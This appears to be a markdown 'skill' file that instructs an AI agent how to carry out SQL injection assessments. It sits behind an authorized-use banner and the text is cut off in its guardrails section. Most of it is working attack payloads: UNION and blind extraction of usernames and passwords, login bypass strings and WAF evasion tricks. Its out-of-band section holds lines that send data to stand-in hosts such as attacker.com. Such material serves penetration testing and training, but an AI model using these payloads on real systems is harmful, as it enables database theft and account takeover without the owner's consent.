sql-injection-testing

What this skill does

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# SQL Injection Testing

## Purpose

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.

## Inputs / Prerequisites

### Required Access
- Target web application URL with injectable parameters
- Burp Suite or equivalent proxy tool for request manipulation
- SQLMap installation for automated exploitation
- Browser with developer tools enabled

### Technical Requirements
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
- Knowledge of HTTP request/response cycle
- Familiarity with database schemas and structures
- Write permissions for testing reports

### Legal Prerequisites
- Written authorization for penetration testing
- Defined scope including target URLs and parameters
- Emergency contact procedures established
- Data handling agreements in place

## Outputs / Deliverables

### Primary Outputs
- SQL injection vulnerability report with severity ratings
- Extracted database schemas and table structures
- Authentication bypass proof-of-concept demonstrations
- Remediation recommendations with code examples

### Evidence Artifacts
- Screenshots of successful injections
- HTTP request/response logs
- Database dumps (sanitized)
- Payload documentation

## Core Workflow

### Phase 1: Detection and Reconnaissance

#### Identify Injectable Parameters
Locate user-controlled input fields that interact with database queries:

```
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
```

#### Test for Basic Vulnerability Indicators
Insert special characters to trigger error responses:

```sql
-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)
```

Monitor application responses for:
- Database error messages revealing query structure
- Unexpected application behavior changes
- HTTP 500 Internal Server errors
- Modified response content or length

#### Logic Testing Payloads
Verify boolean-based vulnerability presence:

```sql
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
```

Compare responses between true and false conditions to confirm injection capability.

### Phase 2: Exploitation Techniques

#### UNION-Based Extraction
Combine attacker-controlled SELECT statements with original query:

```sql
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
```

#### Error-Based Extraction
Force database errors that leak information:

```sql
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
```

#### Blind Boolean-Based Extraction
Infer data through application behavior changes:

```sql
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
```

#### Time-Based Blind Extraction
Use database sleep functions for confirmation:

```sql
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--
```

#### Out-of-Band (OOB) Extraction
Exfiltrate data through external channels:

```sql
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
```

### Phase 3: Authentication Bypass

#### Login Form Exploitation
Craft payloads to bypass credential verification:

```sql
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
```

Query transformation example:
```sql
-- Original query
SELECT * FROM users WHERE username='input' AND password='input'

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment
```

### Phase 4: Filter Bypass Techniques

#### Character Encoding Bypass
When special characters are blocked:

```sql
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex
```

#### Whitespace Bypass
Substitute blocked spaces:

```sql
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline
```

#### Keyword Bypass
Evade blacklisted SQL keywords:

```sql
-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT
```

## Quick Reference

### Detection Test Sequence
```
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
```

### Database Fingerprinting
```sql
-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
```

### Information Schema Queries
```sql
-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
```

### Common Payloads Quick List
| Purpose | Payload |
|---------|---------|
| Basic test | `'` or `"` |
| Boolean true | `OR 1=1--` |
| Boolean false | `AND 1=2--` |
| Comment (MySQL) | `#` or `-- ` |
| Comment (MSSQL) | `--` |
| UNION probe | `UNION SELECT NULL--` |
| Time delay | `AND SLEEP(5)--` |
| Auth bypass | `' OR '1'='1` |

## Constraints and Guardrails

### Operational Boundaries
- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
- Limit data extraction to proof-of-concept quantities
- Avoid denial-of-service through resource-intensive queries
- Stop immediately upon detecting production database with real user data

### Technical Limitations
- WAF/IPS may block common payloads requiring evasion techniques
- Parameterized queries preve